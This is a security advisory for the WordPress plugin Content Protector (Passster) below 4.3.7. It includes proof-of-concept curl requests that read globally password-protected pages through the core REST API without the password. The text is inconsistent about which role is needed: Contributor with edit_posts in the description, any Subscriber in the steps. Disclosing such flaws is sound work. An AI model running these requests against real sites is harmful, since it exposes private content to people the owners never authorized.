Content Protector (Passster) < 4.3.7 – Contributor+ Protected Content Disclosure via Core REST API | CVE 2025-15674

Description

The plugin does not restrict low-privilege users holding the edit_posts capability from reading globally password-protected content through the WordPress core REST API when global protection is enabled, allowing any Contributor or higher to read the content of protected pages and posts without knowing the password.

Proof of Concept

Prerequisite (admin, one-time): In Passster > Settings > Global Protection, enable "Activate Global Protection" and select a password landing page. This globally password-protects the site's pages/posts.

Given a globally-protected published page with ID <PAGE_ID>:

1. As an unauthenticated visitor, confirm protection is active over REST:
curl -s "https://victim.example/wp-json/wp/v2/pages/<PAGE_ID>"
-> HTTP 401 {"code":"rest_not_logged_in", ...}   (REST is blocked for guests)

2. As ANY logged-in user who does NOT know the password (Subscriber is enough), request the same page via the WordPress core REST API:
curl -s -u "subscriber:<APPLICATION_PASSWORD>" "https://victim.example/wp-json/wp/v2/pages/<PAGE_ID>"
-> HTTP 200, and content.rendered contains the full protected page content, with "protected": false

Result: the Subscriber reads the globally password-protected content without the password. Any core content endpoint (e.g. /wp/v2/posts/<id>) leaks the same way.